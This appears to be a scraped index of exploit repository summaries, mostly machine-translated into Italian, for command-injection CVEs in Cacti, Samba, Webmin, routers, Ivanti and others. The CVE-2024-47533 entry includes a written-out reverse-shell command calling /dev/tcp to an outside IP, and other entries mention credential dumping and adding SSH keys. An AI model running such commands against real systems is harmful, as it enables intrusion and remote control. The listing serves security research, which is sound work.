CVE-2023-39362-cacti-snmp-command-injection-poc

Vulnerabilità di command injection in Cacti CVE-2023-39362 - PoC Questo repository è un fork di questo repository: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application Cacti è un framework open-source per il monitoraggio operativo e la gestione dei guasti, in continua evoluzio...

CVE-2024-47533

Shell inversa python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Comando semplice python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Aggiungi chiave SSH python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir...

CVE-2021-32158

..| XSStoCommandInjection1 |.. Descrizione : Sfruttare un attacco di Cross-Site Scripting XSS riflesso per ottenere una Command Injection tramite la funzionalità Upload e Download di Webmin Versione Testata : Webmin 1.973 ultima versione di GitHub 07/03/2021 Tipo di Attacco: Remoto Impatto :...

Fastgate

TLDR Questo è un breve report di una vulnerabilità CVE-2019-12489 scoperta giocando con un modem/router Fastgate di Fastweb e Ghidra. La vulnerabilità consente l'esecuzione di un command injection tramite una richiesta http e può essere utilizzata per abilitare una shell SSH. Raccolta ed estrazio...

TransitionPlayer

Questo problema è stato risolto per Android 14+ nel June 2026 Android Security Bulletin. Clicca qui per vedere la patch Writeup TODO Completerò il writeup quando avrò un po' di tempo libero Ma prima devo combattere contro i compiti scolastici e gli esami Ho deciso di completare la sezione prima c...

CVE-2016-10033

PoC de exploração do CVE2016-10033 Este repositório contém os arquivos necessários para explorar o CVE2016-10033 em uma versão vulnerável do WordPress. Com estas instruções, você será capaz de obter um shell interativo reverso não Pseudo-TTY no contêiner que está executando o WordPress, como o...

ble_norton_core

PoC di iniezione di comandi nel servizio BLE del router Norton Core Secure WiFi Router CVE-2018-5234 Per maggiori informazioni leggi l'articolo. Per dimostrare lo sfruttamento, utilizzeremo: Sistema operativo GNU/Linux; adattatore Bluetooth dongle; utilità BlueZ per testare la connessione...

CVE-2019-19919

CVE-2019-19919 Vulnerabilità di neutralizzazione impropria degli elementi speciali nell'output utilizzato da un componente a valle 'Injection' in Handlebars pip install requests packaging python handlebarsscanner.py pip install requests python handlebarsexploit.py Inserisci l'URL di destinazione:...

CVE-2007-2447

CVE-2007-2447 Exploit per Samba Un'implementazione autonoma in Rust dell'exploit CVE-2007-2447 che colpisce Samba smbd 3.0.20-Debian. Descrizione della vulnerabilità CVE-2007-2447 è una vulnerabilità di command injection nelle versioni di Samba dalla 3.0.0 alla 3.0.25rc3. La vulnerabilità risiede...

CVE-2023-46805_CVE-2024-21887

CVE-2023-46805 Una vulnerabilità di bypass dell'autenticazione nel componente web di Ivanti ICS 9.x, 22.x e Ivanti Policy Secure consente a un attaccante remoto di accedere a risorse limitate bypassando i controlli. usage: ./CVE-2023-46805.sh https://fqdn:port ./CVE-2023-46805.sh...

CVE-2023-51385_poc-test

CVE-2023-51385 poc OpenSSH ProxyCommand RCE poc OpenSSH 9.6 Befehlsinjektions-Schwachstelle PoC Chinesisch 1.vim /.ssh/config oder bearbeite C:/Users/username/.ssh/config unter Windows host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 2. git clone...

CVE-2025-61299_POC

CVE-2025-61299POC Iniezione di comandi autenticata in Nagios XI 2024R1 CVE-2025-61299...

HuaWei_Route_HG532_RCE_CVE-2017-17215

HuaWeiRouteHG532RCECVE-2017-17215 Implementazione del POC di iniezione di comandi del router Huawei HG532 CVE-2017-17215 con POCsuite e goland Implementazione con goland Implementazione con POCsuite Per la scrittura e il codice, visitare: https://blog.csdn.net/qq41490561/article/details/127659604...

CVE-2024-10914

cve-2024-10914 Exploit per cve-2024-10914: D-Link DNS-320, DNS-320LW, DNS-325, DNS-340L Versione 1.00, Versione 1.01.0914.2012, Versione 1.01, Versione 1.02, Versione 1.08 Iniezione di comandi...

CVE-2024-31317-Deployer

CVE-2024-31317 Deployer 🔒 Dichiarazione di ricerca sulla sicurezza Questo progetto è destinato esclusivamente a scopi di ricerca sulla sicurezza e didattici. L'utilizzo di questo strumento per test non autorizzati è illegale. L'autore non si assume alcuna responsabilità per abusi o danni. 📋...

CVE-2023-26067

CVE-2023-34362 POCs für Credential-Dumping, Reverse Shells und Musikwiedergabe durch Ausnutzung einer Befehlsinjektion, CVE-2023-26067, die Lexmark-Drucker betrifft. Technische Analyse Eine technische Root-Cause-Analyse der Schwachstelle finden Sie in unserem Blog:...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 Befehlseinschleusung. Das Paket pdfkit ist anfällig für Befehlseinschleusung, da die URL nicht ordnungsgemäß bereinigt wird. Hinweis: Dieses Problem wurde in 0.8.7.2 behoben, aber der Patch erwies sich als unwirksam. Die aktualisierte Patch-Version...

blogpost_cve-2018-19987-analysis

Analisi di CVE-2018-19987 Iniezione di comandi OS D-Link Ciao a tutti! In questo breve post del blog analizzerò una rapida analisi che ho svolto per comprendere meglio i dettagli dietro CVE-2018-19987. All'inizio ho cercato questa CVE perché pensavo che non ci fossero informazioni pubbliche o...

TP-Link-WDR-Router-Command-injection_POC

Questo repository non contiene un README...

CVE-2025-32433_PoC

CVE-2025-32433Erlang-OTP Questo script è uno strumento di sicurezza personalizzato progettato per testare una vulnerabilità critica di pre-autenticazione in sistemi che eseguono server SSH basati su Erlang come quelli utilizzati in sistemi embedded, dispositivi IoT e alcuni servizi backend. La...